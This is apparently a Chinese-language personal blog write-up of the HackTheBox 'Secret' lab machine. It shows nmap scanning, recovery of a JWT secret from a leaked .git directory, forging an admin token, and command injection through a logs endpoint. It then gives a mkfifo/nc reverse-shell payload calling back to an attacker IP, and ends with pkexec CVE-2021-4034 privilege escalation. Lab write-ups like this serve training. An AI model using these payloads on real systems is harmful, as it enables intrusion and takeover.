废物靶场日记 hackthebox-Secret
最近在家嗯吃嗯造无所事事 废物的身份已经在家里呼之欲出了
于是决定在家人常出没时间段打打htb假装学习 以保持在家吃拿卡要的丰厚待遇
也是第一次玩htb 今天先整一个简单的试试手
前渗透
靶机IP 10.10.11.120
首先信息收集随便扫扫
nmap -sV -A 10.10.11.120
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d💿08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问一下3000端口 有注册登录 注册是post一个怪东西
curl -d ‘{“name”:“wjzdala”,“email”:“wjzdala@dasith.works”,“password”: “123456aa” }’ http://10.10.11.120:3000/api/user/register -H ‘content-type:application/json’
然后按格式登录
curl -d ‘{“email”:“wjzdala@dasith.works”,“password”: “123456aa” }’ http://10.10.11.120:3000/api/user/login -H ‘content-type:application/json’
返回了一个token 按格式认证
curl http://10.10.11.120/api/priv
-H ‘auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjM3MDk3YTJhMmQ2YT
A0NzRlNDI1OWYiLCJuYW1lIjoid2p6ZGFsYSIsImVtYWlsIjoid2p6ZGFsYUBkYXNpdGgud29ya3MiLCJpYXQiOjE2NDc3NzQwOTB9.xebzSC8RfcfOWcJl8oTumadL0Mz0BMuy6lpWu2YDdTQ’
返回{“role”:{“role”:“you are normal user”,“desc”:“wjzdala”}} 嚯!normal user!纯纯的普信user了
很明显 这边就是要伪造token化身admin了 而3000端口主页直接有源码 但是这里我卡的批爆 找了找其他做了这个靶场的兄弟 好像也没什么办法能解决 死活下载不下来 思来想去最后灵光一闪决定鏖战老头环 然后第二天网络自愈了 下载下来看源码果不其然是要伪造admin的jwt 随便找个jwt解码网站
这里需要名字改成theadmin 还需要token 但是.env文件发现TOKEN_SECRET = secret 看似寄了
但是又发现他有.git文件 那必然得试一试.git泄露了 然后发现了真正的token
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
于是伪造admin的jwt认证
curl http://10.10.11.120/api/priv -H ‘auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiO
iI2MjM4M2Q2NjYyNmVhMDA0NWZiMDg1YTAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IndqemRhbGFAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQ3ODUyOTA1fQ.pnlPhmL9KO0jWQ-uXhAWTS7IDuM
TmTIfEzjDZoMLch8’
返回{“creds”:{“role”:“admin”,“username”:“theadmin”,“desc”:“welcome back admin”}}
拿下!但是!没勾八用!
继续看代码发现同一个js里还有一个命令执行点 随便构造一下看看
curl ‘http://10.10.11.120/api/logs?file=;whoami’ -H ‘auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX
VCJ9.eyJfaWQiOiI2MjM4M2Q2NjYyNmVhMDA0NWZiMDg1YTAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IndqemRhbGFAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQ3ODUyOTA1fQ.pnlPhmL9KO0jWQ-uXhAWTS7IDuMTmTIfEzjDZoMLch8’ 发现确实行 那必然是尝试nc弹shell
这里发现好多姿势都不行 但是还是能弹的
curl ‘http://10.10.11.120/api/logs?file=;rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%2010.10.14.10%207888%20%3E/tmp/f’ -H ‘auth-token:eyJhbGciOiJIU
zI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjM4M2Q2NjYyNmVhMDA0NWZiMDg1YTAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IndqemRhbGFAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQ3ODUyOTA1fQ.pnlPhmL9KO0jWQ-uXhAWTS7IDuMTmTIfEzjDZoMLch8’ 拿下!找到第一个user的flag
后渗透
其实也没什么后渗透 就是提个权罢了 提权属实不太懂 首先随便看一下find / -perm -u=s -type f 2>/dev/null 本来想随便看看有没有find提权之类的 然而第一个就是/usr/bin/pkexec瞬间点醒我这个废物 必然是直接上我爹cve-2021-4034
于是python2 -m SimpleHTTPServer 80起个http shell上直接wget把东西传过去
这里我真是脑残 我穿了个下其他文件的cve-2021-4034.sh过去 然后对着下下来的几个空文件在那发呆 后来猛然惊觉不出网我是传了个勾八过去执行 然后重传文件忘记删原来的几个空文件了改名字删文件又搞了半天
然后cat /root/root.txt就是另外一个flag了 打完收工